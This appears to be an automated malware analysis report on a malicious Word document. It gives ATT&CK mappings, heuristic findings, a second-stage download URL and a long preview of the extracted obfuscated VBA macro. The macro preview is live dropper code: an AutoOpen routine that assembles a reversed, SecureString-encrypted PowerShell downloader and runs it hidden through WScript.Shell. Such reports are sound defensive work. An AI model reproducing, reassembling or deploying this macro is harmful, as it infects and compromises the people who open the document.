MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1140 Deobfuscate/Decode Files or Information
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject, indicating an attempt to execute commands or scripts. A critical heuristic identified a payload URL, 'http://krqweugmjasndasidhnjqwewq.com/NOIT/testv.php?l=itmaker3.class', which is likely used to download a second-stage payload. The obfuscated VBA code suggests an effort to hide its malicious functionality.
Heuristics 10
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run EvnBVhppKiiW + YsRQRhRM + fNWiAiwhh + LXDkSYbKZ, vbHide Select Case aFIVza -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run EvnBVhppKiiW + YsRQRhRM + fNWiAiwhh + LXDkSYbKZ, vbHide Select Case aFIVza -
Payload URL decrypted from a PowerShell SecureString loader (1 URL) high OLE_VBA_SECURESTRING_DROPPER_URLA VBA macro assembles a PowerShell command from Mid(StrReverse(...)) substring fragments, runs it hidden via WScript.Shell, and IEX-decrypts a key-encrypted ConvertTo-SecureString blob (AES) whose plaintext is a System.Net.WebClient DownloadFile + Invoke-Item dropper with an @-separated fallback-host list. The download URLs exist only after the reverse-substring assembly and the AES decrypt, so no literal scan sees them; surfaced as IOCs. Self-validating: only a decrypt yielding valid host URLs is reported.
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://krqweugmjasndasidhnjqwewq.com/NOIT/testv.php?l=itmaker3.class Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 59616 bytes |
SHA-256: dc91e6e2965fe2d4dcaa6fd665af5b1de7b297de3a68cdf098cf0d3afccc5615 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
451 of 783 identifiers look randomly generated (e.g. 'AAjBgZAADAmBwNAQDAmBQMAQDA3AgYAYGAyAQNAg') — consistent with name-mangling obfuscation. Carved artifact contains 19 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "aRrkGEd"
Function TAtVMAPi()
On Error Resume Next
Select Case AowFqz
Case 10103
CoowUz = Fix(94147)
jaklt = Int(57963)
Case 20273
DmOJk = nzjWL
UfIlp = ChrW(wrjwr)
End Select
WrXzZNfn = inzYrH + BUSbw("T[kEOfjBAMAgDA3AAOAIGAyAgMAUDA3AQMAYDAxAwYAUDAlBQNAgDAlBgNAMDAwAAZAcDAhBwYAQGA1AQYAIGA0AgNAYGAyAQZAEGAjBgYAUDA2AANAADAiBANAMGA1An.pc<Tizzw", 11, 122)
Select Case AowFqz
Case 10103
CoowUz = Fix(94147)
jaklt = Int(57963)
Case 20273
DmOJk = nzjWL
UfIlp = ChrW(wrjwr)
End Select
Select Case ijNOn
Case 7961
YiHGzi = Fix(17126)
DJrIV = Int(57791)
Case 70326
uDkUJi = STsqR
wZfCj = ChrW(GipTs)
End Select
GlouVVdFWil = WVVqKko + BUSbw("c]IEXZpHFk7 KlAgYAEGAjBgMAUGA1AwMAQDAkBwYAcDAhBgZAUGAzAgNAcDAyAwNAYDAmBQMAYGA2AQMAADAlBQMAgDA0AwMAMDAzAQZAEGAiBANAUGAhBwYAQDA2AANAYDAyAwMAEDAyAAZAIDA4AwMAIGAiBQNAkDA7w[HCXOp(zl91wKnzkk", 20, 151)
Select Case ijNOn
Case 7961
YiHGzi = Fix(17126)
DJrIV = Int(57791)
Case 70326
uDkUJi = STsqR
wZfCj = ChrW(GipTs)
End Select
Select Case HNpGYX
Case 18434
rOiWpq = Fix(59048)
InRfi = Int(19659)
Case 26073
krDljQ = oCCBnt
nNzEb = ChrW(bsCYtE)
End Select
NTEQaiLznaf = dRXWC + BUSbw("NlctaoY(F02aIAEDAiBwMAMGAmBQZAADAjBAZAYGA0AwNAIDAkBAZAYDAkBwNAADAhBAO#fJW70walF", 11, 56)
Select Case HNpGYX
Case 18434
rOiWpq = Fix(59048)
InRfi = Int(19659)
Case 26073
krDljQ = oCCBnt
nNzEb = ChrW(bsCYtE)
End Select
Select Case CUrmu
Case 62541
BNwNi = Fix(21769)
tnQNPI = Int(97783)
Case 95091
qEAWn = CqnnBO
AkWQH = ChrW(fHulwq)
End Select
PKTbLdGiJw = FimRz + BUSbw("ScwAYGAhBAOAIDAiBgNAEGAxAQZAkDAjBQNAQGAxAQYAYGAxAgZAMGAhBgZAQDAiBQNAcDAwAwMAUDAhBwNAUGA5AwYAUGAiBgMAMDAkBAMAkDAyAANAIDAzAQYAYDAyAgZAYDAiBQOAEDAiBwMAMDR44kV#fkIFK", 12, 147)
Select Case CUrmu
Case 62541
BNwNi = Fix(21769)
tnQNPI = Int(97783)
Case 95091
qEAWn = CqnnBO
AkWQH = ChrW(fHulwq)
End Select
Select Case wHiaS
Case 92834
CzYcW = Fix(68088)
uqABQS = Int(55807)
Case 93530
oWvbas = WXWsXU
pZtJOd = ChrW(YuzcC)
End Select
VtiMpRIzQoE = VPvmkI + BUSbw("OU7lC<Xk Bo5@owMAQGAyAAMAkDA2AQOAcDA2AQYAIDAhBANAIDAxAQNAEGAjBAMAIGAzAgNAIGAjBAOAYDA5AQYAYGAzAAOAYDA1AAZAUDAyAQZAIGAkBQZAcDAkBgNAEGA5AQMAUGAyAAOAEDA3AAMAMDA0w[IXwzi#1M", 11, 143)
Select Case wHiaS
Case 92834
CzYcW = Fix(68088)
uqABQS = Int(55807)
Case 93530
oWvbas = WXWsXU
pZtJOd = ChrW(YuzcC)
End Select
Select Case TmHPPz
Case 24592
RaowtU = Fix(90330)
XVFwr = Int(32640)
Case 79544
JklAE = pUJPP
HiaMF = ChrW(dQZUiZ)
End Select
GrCvmdtE = BojjqzM + BUSbw("7u@.ERwWDAlBQMAYDAiBQZAEDAzAgNAgDAmBgMAgDAiBgYAQGA4AAZAUDA1AQYAUGAyAQYAgDAxAAMAMDA3AwNAYDAmBAMAQDAyAAZAMGAlBgNAEGA3AQOAcDAhBwMAEDA1Ag@5W", 4, 125)
Select Case TmHPPz
Case 24592
RaowtU = Fix(90330)
XVFwr = Int(32640)
Case 79544
JklAE = pUJPP
HiaMF = ChrW(dQZUiZ)
End Select
Select Case pEzQoB
Case 50800
ioHbc = Fix(43289)
uTkSdq = Int(68482)
Case 2334
KUJER = wEHBKd
OFDmtA = ChrW(LXMzG)
End Select
ilDAV = aqNhj + BUSbw("KpjKKOA1AANAADA3AQOAQDAzAwMAMGAmBwNAMGA5AANAMDAiBgZAgDA4AQ0WlT!nNl9wOnE", 14, 52)
Select Case pEzQoB
Case 50800
ioHbc = Fix(43289)
uTkSdq = Int(68482)
Case 2334
KUJER = wEHBKd
OFDmtA = ChrW(LXMzG)
End Select
Select Case XSIwi
Case 26619
JocSkJ = Fix(55443)
blURi = Int(40262)
Case 44721
zbsVQi = IIkCL
IpNGGf = ChrW(IpkdB)
End Select
zGkCaNdG = dcAiwFC + BUSbw("01Z[3O[FT!FC<wMAkDAiBwYAIGAmBQMAEGAkBQMAQKfTlH<9E", 9, 28)
Select Case XSIwi
Case 26619
JocSkJ = Fix(55443)
blURi = Int(40262)
Case 44721
zbsVQi = IIkCL
IpNGGf = ChrW(IpkdB)
End Select
Select Case bpPNdV
Case 28515
CzMbU = Fix(21922)
DAfCv = Int(75678)
Case 38789
nZDslE = RpzLIP
RvEbED = ChrW(aMtWYW)
End Select
mGnjOu = OKDjAAA + BUSbw("IwqFVR@kcGAjBgZAYGA4AAMAYDAyAQOAIGAmBgZAQGAkBQMAADAmBgMAcDAmBAMAYDA0AQMAIDAkBAZAUDA2AAMAEGAlBAOAEDAwAAMAcDAmBAZAQDAxAQZAMDA2AQYAUGA0AQZAcDA1AAZAQDA5AAZAEDA2AQNAYGA5AgMAUDAkBQY)oXtu](f#Aw!", 13, 166)
Select Case bpPNdV
Case 28515
CzMbU = Fix(21922)
DAfCv = Int(75678)
Case 38789
nZDslE = RpzLIP
RvEbED = ChrW(aMtWYW)
End Select
Select Case jzEdH
Case 21700
TBEOR = Fix(10144)
TWFVN = Int(52328)
Case 8665
JHWnU = NaEAS
nfEuH = ChrW(oEaAu)
End Select
HlzzURArJdF = PsQGG + BUSbw("A@p7#jVVH)7cjMAIDAyAwYAYDAlBQNAEGA2AAZAcDA1AgNAYDAzAAOAYDA2AAOAYGAyAAOAIGAlBgNAUGAlBQYAYGAlBgYAUGAjBgYAMDAmBwYAEDA2AwYAMGAwAAZAcDAjBQNAMGAlBgYAYGAjBQOAcDA1AAMAMDAjBQMAQDAkBgMAkDAmBgNAIDA4AwYAUApmu", 5, 179)
Select Case jzEdH
Case 21700
TBEOR = Fix(10144)
TWFVN = Int(52328)
Case 8665
JHWnU = NaEAS
nfEuH = ChrW(oEaAu)
End Select
Select Case zpIqwm
Case 91029
uPRsN = Fix(69680)
vplrAH = Int(58701)
Case 52667
FqOpN = KNzdo
lPhjl = ChrW(PpBwC)
End Select
cKpwazFQ = idRVZXd + BUSbw("X.4 KSJffqBwMAUDA3AANAQGAwAQNAQGAmBQOAQGAmBQNAcDA0AgMAMGA5AwNAQGAlBQZAEGAhBgZAEDAiBgMAMGAxAANAQGA3AgZAEGA0AQZAMGAwAQYAADAmBgMAYGAjBgNAIDAiBQOAEDA2AgNAMGAzAwYAII7V.j3", 7, 149)
Select Case zpIqwm
Case 91029
uPRsN = Fix(69680)
vplrAH = Int(58701)
Case 52667
FqOpN = KNzdo
lPhjl = ChrW(PpBwC)
End Select
Select Case fPMlXw
Case 41424
CSjNo = Fix(2848)
WjYLI = Int(74399)
Case 64134
AoszwP = oiiENB
dcUwF = ChrW(hijWQA)
End Select
torvHzTzjvm = uuPKut + BUSbw("uoF[XiGAhBQZAMDA4AQYAcDAhBAZAQGAzAwMAMDAhBgZAYGAkBgZAMDAyAgMAEGA4AQZAYDAjBQNAEDA1AwYAkDAwAANAgDA1AgMAYGAwAQNAgDA1AAOAEGA2AgZAIDN4jw0pj[7V@6o", 14, 121)
Select Case fPMlXw
Case 41424
CSjNo = Fix(2848)
WjYLI = Int(74399)
Case 64134
AoszwP = oiiENB
dcUwF = ChrW(hijWQA)
End Select
Select Case HlhvL
Case 29974
dUjnBi = Fix(84238)
CNvozv = Int(90616)
Case 56741
uzGLQ = liSpPa
ZStYJ = ChrW(RCIwbJ)
End Select
fjGjq = wsZdsw + BUSbw("1m[o.1@p[1!XRF71Tj.9]zoT!XAMGA0AwYAMDA1AwYAIDA1AgZAYDA3AAOAYDA1AwMAEGA2AQOAEDAlBAOAgDAhBwYAYDA3AgMAEDAhBQMAcDAxAwNAIDAhBANAYGAwAQOAkDAjBAMAQDA2AAZAYGAmBANAQDAzAAZkJj 2K", 7, 136)
Select Case HlhvL
Case 29974
dUjnBi = Fix(84238)
CNvozv = Int(90616)
Case 56741
uzGLQ = liSpPa
ZStYJ = ChrW(RCIwbJ)
End Select
Select Case GsIpN
Case 66655
SCKfGo = Fix(86603)
uElwH = Int(40037)
Case 44707
sCioYJ = kOtIw
qGzNm = ChrW(Nuwwi)
End Select
hTXjVNbOwNY = wSOMG + BUSbw("ii2E[KQMAIGA2AgYAQGAhBgYAUDAhBQZAIDA5AwNAEDAyAgNAUGA3AQMAX9LR@7])1uK44AI", 16, 51)
Select Case GsIpN
Case 66655
SCKfGo = Fix(86603)
uElwH = Int(40037)
Case 44707
sCioYJ = kOtIw
qGzNm = ChrW(Nuwwi)
End Select
Select Case FwtCz
Case 95235
SFhMu = Fix(69802)
uLwfNN = Int(28004)
Case 45070
nDNIK = NlGYV
EjQHaY = ChrW(EhRunK)
End Select
jiCJzhNIK = oBDiCzt + BUSbw("JRW@t#0bD5%nZmbHZ.HwI#wb#I]N[.4AJ#ODA4AwYAYDAzAQYAMDA5AQMAUGAiBgNAYDAwAQNAQGAlBQNAUGA1AgMAUDA3AQNAADAjBgZAgDAjBwNAcDA1AAZAUDA4AAMAADAwAgNAADAxAQYAYGAxAgMAUGAhBQNAQDA1AgNAQDA4AgMAUDAmBQZAQDA0AQYAIGAjBwMAMGAyAQYAMGAmBAOAYDAhB0", 2, 188)
Select Case FwtCz
Case 95235
SFhMu = Fix(69802)
uLwfNN = Int(28004)
Case 45070
nDNIK = NlGYV
EjQHaY = ChrW(EhRunK)
End Select
Select Case vcAKba
Case 19818
QBXiP = Fix(36864)
vDaOf = Int(62772)
Case 85974
QdhmP = NrQQkL
zAwXMj = ChrW(NFUsVj)
End Select
jjWVKcnq = RWYtm + BUSbw("TcMkEcXEcRkBgYAEGAjBgZAMGA4AAZAYDA4AgYAEGAxAQYAQGAlBAOAkDA4AQNAQDAkBgZAEGA5AANAIGAxAANAEGAkBwYAQDAwAQOAIDAzAwMAcDAyAgMAIDTK1MbRHETTt[", 13, 111)
Select Case vcAKba
Case 19818
QBXiP = Fix(36864)
vDaOf = Int(62772)
Case 85974
QdhmP = NrQQkL
zAwXMj = ChrW(NFUsVj)
End Select
Select Case RFXPI
Case 54969
UpVooR = Fix(16689)
Pkblik = Int(69116)
Case 72449
AGiNI = HaHiDJ
PNSMJ = ChrW(XiPIZ)
End Select
JVqjWZQNzw = GSizK + BUSbw("itcjI.zjV ]@4!tIZuZEbQMAcDAkBAZAMDAxAQOAIGAhBQYAUDA1AQZAYGAlBQNAMGAxAAZAgDA4AANAQDAiBgZAIGAiBgMAkDA0AgYAQDAzAwYAUO", 2, 92)
Select Case RFXPI
Case 54969
UpVooR = Fix(16689)
Pkblik = Int(69116)
Case 72449
AGiNI = HaHiDJ
PNSMJ = ChrW(XiPIZ)
End Select
Select Case zAzzNm
Case 62265
tAljv = Fix(89688)
SJdBLw = Int(73776)
Case 27992
ABPnG = uizVid
UznKT = ChrW(MjXjC)
End Select
SlzVZZ = ECBwGm + BUSbw("#EmAu7 ) ))) )002,271,99,22jnjYv3[!KE7cO3tTqnozcz19JEK", 28, 21)
Select Case zAzzNm
Case 62265
tAljv = Fix(89688)
SJdBLw = Int(73776)
Case 27992
ABPnG = uizVid
UznKT = ChrW(MjXjC)
End Select
Select Case JKrdT
Case 99277
EaJlJ = Fix(53171)
KMMTT = Int(32863)
Case 77882
NLVhWL = vEYFr
wSwiw = ChrW(uNkpMf)
End Select
vzazHpT = GjIzrk + BUSbw("pcNF.f3i.cDAlBwYAMDAlBgNAMDu!p3Wck", 8, 18)
Select Case JKrdT
Case 99277
EaJlJ = Fix(53171)
KMMTT = Int(32863)
Case 77882
NLVhWL = vEYFr
wSwiw = ChrW(uNkpMf)
End Select
Select Case FLzrR
Case 20941
ojaKz = Fix(53714)
Xfcfwp = Int(9407)
Case 74660
zCovr = trjpZ
miEsX = ChrW(tBAVj)
End Select
NoodUGviKvw = KYZISDf + BUSbw("fbIFKYRN]AYDA4AAZAYGAit.c4O4T1k.#m", 13, 13)
Select Case FLzrR
Case 20941
ojaKz = Fix(53714)
Xfcfwp = Int(9407)
Case 74660
zCovr = trjpZ
miEsX = ChrW(tBAVj)
End Select
Select Case AcGfi
Case 73698
OPcRP = Fix(43206)
HDafFH = Int(27086)
Case 39285
UYzvr = niZmz
YnXDLY = ChrW(Cjhsdi)
End Select
Ezmfv = fAMGc + BUSbw("RMtWRQlnoIX3otZIER<RYmAgMAIGAyAAMAEDA0AwMAcDAzAAMAUDAxAgYAcDAjBAMAMGAjBgMAkDA3AwYAQGAlBQYAYGA5AAOAQDAyAwMAEGA3AQYAkDAwAQMAM#t]ETcKE@AY<0", 14, 101)
Select Case AcGfi
Case 73698
OPcRP = Fix(43206)
HDafFH = Int(27086)
Case 39285
UYzvr = niZmz
YnXDLY = ChrW(Cjhsdi)
End Select
Select Case BjZAcD
Case 45750
WwFmK = Fix(30473)
mhJLpU = Int(5576)
Case 29076
fZssz = nuzzI
OaziK = ChrW(cvZdz)
End Select
VAGPs = DdGbA + BUSbw("#Rco7XRkwWDfXAUDA2AANAcDAhBANAIDAxAAOAEGAiBgNAUDA2AAOAEDAlBgZAQGAkBwNAcDAyAQOAkDAyAwNAIGAkBgZAEGAiBH3%4tBtmcXDwTmYcL<", 19, 86)
Select Case BjZAcD
Case 45750
WwFmK = Fix(30473)
mhJLpU = Int(5576)
Case 29076
fZssz = nuzzI
OaziK = ChrW(cvZdz)
End Select
Select Case CCYsZ
Case 27081
Ohhjnw = Fix(41451)
tiZJBj = Int(10029)
Case 96196
DWhWE = zXOOnw
lDwzo = ChrW(QuSOTF)
End Select
SREXDWipTK = zjbabn + BUSbw("KkAAEGAhBANAEDA3AQMAYGA1AQMAYDAzAAOAEDAiBgZAUGA1AwNAIDAkBAMAIDAzAwMAIGA5AgYAYGA2AgYAUDAzAwYfO%mZ0XOcN(KcfIvEO", 19, 88)
Select Case CCYsZ
Case 27081
Ohhjnw = Fix(41451)
tiZJBj = Int(10029)
Case 96196
DWhWE = zXOOnw
lDwzo = ChrW(QuSOTF)
End Select
Select Case GORzaj
Case 74540
wfXmm = Fix(37394)
UjsiG = Int(35138)
Case 97222
PLoJU = CbJaG
AIjDY = ChrW(kdUNaQ)
End Select
nqMMLHIDrS = aMPrj + BUSbw("1anTDtRZ9A0AgMAQGA5AQMAADAlBAOAMDA0AgYAIDAwAAZAUGAmBgZAMDAh05z", 4, 50)
Select Case GORzaj
Case 74540
wfXmm = Fix(37394)
UjsiG = Int(35138)
Case 97222
PLoJU = CbJaG
AIjDY = ChrW(kdUNaQ)
End Select
Select Case DMoFw
Case 58474
vuRiGS = Fix(60833)
BicLs = Int(38957)
Case 54824
uqhkW = lBiONV
kzKjns = ChrW(Lzvvn)
End Select
icvmss = lMGQdTZ + BUSbw("A34U9o11,26,202,532,44,832,911,061,98,632,43,922,04,33,971,252,442,74,791,402,92,161,29,691,28,252,87,632,361 YEk- GnIRTSeRUceS-otTRevnOc |'==AAjBgZAADAmBwNAQDAmBQMAQDA3AgYAYGAyAQNAgDAjBgNAT![0N[6X7O]@c0pj", 17, 182)
Select Case DMoFw
Case 58474
vuRiGS = Fix(60833)
BicLs = Int(38957)
Case 54824
uqhkW = lBiONV
kzKjns = ChrW(Lzvvn)
End Select
Select Case iPoLWr
Case 75897
PipZFf = Fix(69152)
CBXOP = Int(84100)
Case 39588
ZIfUCG = BiuWk
CfwtN = ChrW(dEiUFc)
End Select
wUIdb = scYGrua + BUSbw("!oCZ(.9.niNJ5EkW##KAwAQNAEGAyAQNAYGAzAAZAEDAwAQOAEGAjBQZAQGAzAgZAUDA5AQNAEGA3AQYAUDAkBgNAIGAlBwYAYDAiBgYAUDAxAgYAcDAjBgZAEDA3AQYAMGAyAAZAQDAwAwYAYGA[.ojz1Mu<kcu ", 14, 129)
Select Case iPoLWr
Case 75897
PipZFf = Fix(69152)
CBXOP = Int(84100)
Case 39588
ZIfUCG = BiuWk
CfwtN = ChrW(dEiUFc)
End Select
Select Case cHFZV
Case 15162
wsnRzs = Fix(41416)
XtwOo = Int(79354)
Case 78797
FTrfzh = PEqutT
zBqONt = ChrW(SOhQa)
End Select
GKOJnWcf = fbllaq + BUSbw("AVfZTkMTjjlt5NwMAMDA3j21I@@oTl", 11, 6)
Select Case cHFZV
Case 15162
wsnRzs = Fix(41416)
XtwOo = Int(79354)
Case 78797
FTrfzh = PEqutT
zBqONt = ChrW(SOhQa)
End Select
Select Case daXaTs
Case 86114
KKKifj = Fix(37875)
NKKrO = Int(30667)
Case 32396
UiYlm = hnPRS
CIpjbQ = ChrW(BAZha)
End Select
zwcXoWFVA = RzMIjnj + BUSbw("<mMAEDAjBwYAEDAzAQMAEDAhBwMAIGAlBAMAMGAlBQYAYDAkBAOAUGtctfJK0I", 9, 52)
Select Case daXaTs
Case 86114
KKKifj = Fix(37875)
NKKrO = Int(30667)
Case 32396
UiYlm = hnPRS
CIpjbQ = ChrW(BAZha)
End Select
Select Case hzmzXp
Case 60404
XRKlB = Fix(21303)
VCorqi = Int(92545)
Case 28713
wwjzSA = wcuYl
VkVjAn = ChrW(GmsSGN)
End Select
IcnPTPmlIR = FQwnhZ + BUSbw("AQ0KBAZAcDAhBAMAMGAzAAMAUGA5AQZAYGAzAgNAMDAiBgMAIGAxAgMAQGAkBQZAEDA5AgYAgDA0AAMAQGAlBQMAQDAxAAOAYDAhBAZAMDAjBwMAcDA3AgYAMGA0AgNAUGA3AwNAMGAyAQNAEGAzAgMAEGA1AwNAYDAxAQNAUGA0AAMAYGAkBgZAQGAkBADlmDIu(JT9", 11, 186)
Select Case hzmzXp
Case 60404
XRKlB = Fix(21303)
VCorqi = Int(92545)
Case 28713
wwjzSA = wcuYl
VkVjAn = ChrW(GmsSGN)
End Select
Select Case AwXNb
Case 43526
BXOqlJ = Fix(49539)
saArBW = Int(2010)
Case 43295
iuCoP = OMjLB
RsjKC = ChrW(aXVanj)
End Select
izojPWaWW = ztTLl + BUSbw("1pcQ.A0AQZAYGA5AwNAIGAlBQYAkDA0AwYAADAiBANAEGAyAgMAMDAmBwNAIGA3AwMAUDA4AANAUGA4AQYAkDAxAQOAADA2AQMAUGAlBgMAMGA2AQYAkDAkBwYAcDAkBQNAYGA3AgNAUGA0AQYAIDA2AAMAQGA1RT47fATC<OSo1zA[IX", 19, 154)
Select Case AwXNb
Case 43526
BXOqlJ = Fix(49539)
saArBW = Int(2010)
Case 43295
iuCoP = OMjLB
RsjKC = ChrW(aXVanj)
End Select
Select Case IVtfW
Case 10691
duTMi = Fix(50595)
JuroKj = Int(191)
Case 34988
IEzKi = VONja
kmNNvY = ChrW(JZLNj)
End Select
wWzBKEtzNjA = HrDjX + BUSbw("zONZc%ob!NAkDA5AQMAgDA2AAOAADAyAQOAYDAjBQOAQDAmBQOAMDA0AgMAYDA2AAMAEDA1AwNAgDA5AQYAIGAzAgYAQGAjBAMAEDA4AgNAUDA3AgMAADA1AQZAIGAzAgNAYGAiBgMAQDAyAAMAADAlBgNAUDAzAQNATu]4b#RX!", 10, 154)
Select Case IVtfW
Case 10691
duTMi = Fix(50595)
JuroKj = Int(191)
Case 34988
IEzKi = VONja
kmNNvY = ChrW(JZLNj)
End Select
Select Case EWLrs
Case 58563
RDjCoY = Fix(92452)
zilvI = Int(58097)
Case 40180
swLzi = uRcMHB
jwTAKd = ChrW(OIWzMb)
End Select
Gkjjjac = KFsMEk + BUSbw("#Oi)f7RbkTDA3AgNAMDAyAqWt.", 5, 12)
Select Case EWLrs
Case 58563
RDjCoY = Fix(92452)
zilvI = Int(58097)
Case 40180
swLzi = uRcMHB
jwTAKd = ChrW(OIWzMb)
End Select
Select Case AWsWNC
Case 10067
ArdQE = Fix(97024)
TiMln = Int(33988)
Case 60553
wZNifO = GjNfsu
PLAlw = ChrW(HBtCb)
End Select
wdDZmRz = GizHv + BUSbw("tj5(Kj#OtOlqKTFAzAQMRTF50", 6, 5)
Select Case AWsWNC
Case 10067
ArdQE = Fix(97024)
TiMln = Int(33988)
Case 60553
wZNifO = GjNfsu
PLAlw = ChrW(HBtCb)
End Select
Select Case tcAMF
Case 9274
VPVNn = Fix(44482)
QhYdM = Int(54471)
Case 81934
CDQdk = EfpDV
jCiTCV = ChrW(cDibaU)
End Select
KIvsYKU = kBTtl + BUSbw("@[HcF0J0flmrAM.sECivResPoreTNI.EMiTnur[(eKOvNi.)eMan.]0[)(sRebMEMtEG.]laHsrAm.seCIVRESpOrETNI.emItNUr[(::]LAhSrAM.secivrESporEtNi.emiTnUR[ ( ( )'']TQJ0", 6, 135)
Select Case tcAMF
Case 9274
VPVNn = Fix(44482)
QhYdM = Int(54471)
Case 81934
CDQdk = EfpDV
jCiTCV = ChrW(cDibaU)
End Select
Select Case OmKiDU
Case 93969
qBfjX = Fix(70570)
JAzrX = Int(64338)
Case 98593
djOXsl = fWAuOu
EnmOq = ChrW(shzXnb)
End Select
AUilcJiJAj = jrCTWiY + BUSbw("o!zOW04[FJVT0FKVuiISioAhBQZAQDAzAgZAkDAyAQOAUDAzAgYAYDAwAgZAEDAmBAOAUGA4AgYAYGAmBgYAgDA2AAMAEGAkBAOAgDAwAQYAMDAyAgNAIGoWccpQFluk<Z(", 14, 96)
Select Case OmKiDU
Case 93969
qBfjX = Fix(70570)
JAzrX = Int(64338)
Case 98593
djOXsl = fWAuOu
EnmOq = ChrW(shzXnb)
End Select
Select Case nwlrXa
Case 76040
IicLQP = Fix(69119)
VuBjra = Int(14696)
Case 31365
SqYaUu = cMKPzi
EliULw = ChrW(PzMKnj)
End Select
LHwTDo = zYkCI + BUSbw("CWbojKRuNIOj-'x'+]3,1[)EcNErEFeRPESOBrEv$]GniRts[( (.c9#TR0", 7, 45)
Select Case nwlrXa
Case 76040
IicLQP = Fix(69119)
VuBjra = Int(14696)
Case 31365
SqYaUu = cMKPzi
EliULw = ChrW(PzMKnj)
End Select
Select Case MbjNu
Case 45351
mHZbDS = Fix(96783)
GndvWj = Int(81907)
Case 83039
DjwGm = DNuQLb
AHCha = ChrW(iwEbf)
End Select
YIjXLImp = hwMrVM + BUSbw(".TtZAUDA1AgZAIGAkBki4p[VIl", 9, 14)
Select Case MbjNu
Case 45351
mHZbDS = Fix(96783)
GndvWj = Int(81907)
Case 83039
DjwGm = DNuQLb
AHCha = ChrW(iwEbf)
End Select
Select Case WciJQu
Case 33226
WlvdLj = Fix(16531)
MaSsl = Int(62593)
Case 96629
KdjZo = kKaKv
PFswU = ChrW(GijfS)
End Select
JJHjAH = njiKIWV + BUSbw("ORJ.llFK.IE0wRAitcIDAyAwMAMGAxAQOAMDA0AwNAUGA1AQYAIGAyAQMAYGAyAgMAEGAmBAOAUDAjBAMAUDAiBQYAIGAxAwNAEGA4AAOAYDAjBQYAYTT A#pFITI2Z0YOL.I7", 20, 97)
Select Case WciJQu
Case 33226
WlvdLj = Fix(16531)
MaSsl = Int(62593)
Case 96629
KdjZo = kKaKv
PFswU = ChrW(GijfS)
End Select
Select Case plFdr
Case 50687
vbvBps = Fix(96245)
OzaQJP = Int(50221)
Case 81436
uTRFZl = lmpTnm
ijEGWC = ChrW(vaziz)
End Select
FRkwuc = LifUWs + BUSbw("EjUT[m.KJn)QO[].RiaA4AwMAIDAhBQZAEGA1AANAMGAwAwNAUGAkBgZAIDAhBQZAkDAlBQYAQGAwAgY#kWIVS9Dl5tICCY1", 17, 61)
Select Case plFdr
Case 50687
vbvBps = Fix(96245)
OzaQJP = Int(50221)
Case 81436
uTRFZl = lmpTnm
ijEGWC = ChrW(vaziz)
End Select
Select Case QzPoWE
Case 40798
jIZMq = Fix(63035)
oCVpI = Int(59453)
Case 7356
vrwfrP = BQdwD
wlXdK = ChrW(viqqk)
End Select
quANNZuZ = mRLFOvd + BUSbw("@cp(EGAyAAMAMDAxAgYAEGA5AgNAQGAxAgYAADAxAgZAUGAkBgMAYGA1AQNAIGAwAwMAADAzAAMAYDAwAgNAQDAjBQNAMGA5AwYAADAiBQNAQGAiBgNAcD0vm!#oMm(jI]SnOTF(", 19, 114)
Select Case QzPoWE
Case 40798
jIZMq = Fix(63035)
oCVpI = Int(59453)
Case 7356
vrwfrP = BQdwD
wlXdK = ChrW(viqqk)
End Select
Select Case ZEYpvb
Case 69441
VfcmTN = Fix(51676)
YYlDj = Int(18188)
Case 97496
OYNHjN = RPnYL
wQtsr = ChrW(HiCzjW)
End Select
tXCXVAXqml = FLEjZv + BUSbw("jotGA2AgYAYDAjBgZAcDAyAQMAMDAyAgMAMGA2AwMAUGAxAQZAQGAwAQZAkDAhBAZAQGAlBgMAIGAiBwYAYGAhBAZAMDA0AgNAIGAmBwNAYGAiBgMAUGAxAQNAgDAzAwNAMGAkBQYAcDAwAAOAYk5U1.#RZFI40t(cc", 17, 144)
Select Case ZEYpvb
Case 69441
VfcmTN = Fix(51676)
YYlDj = Int(18188)
Case 97496
OYNHjN = RPnYL
wQtsr = ChrW(HiCzjW)
End Select
Select Case vGmViC
Case 63553
GjwjfG = Fix(46874)
zMWDOB = Int(90407)
Case 46552
dwziU = BkVzb
ciZPV = ChrW(wvjnCb)
End Select
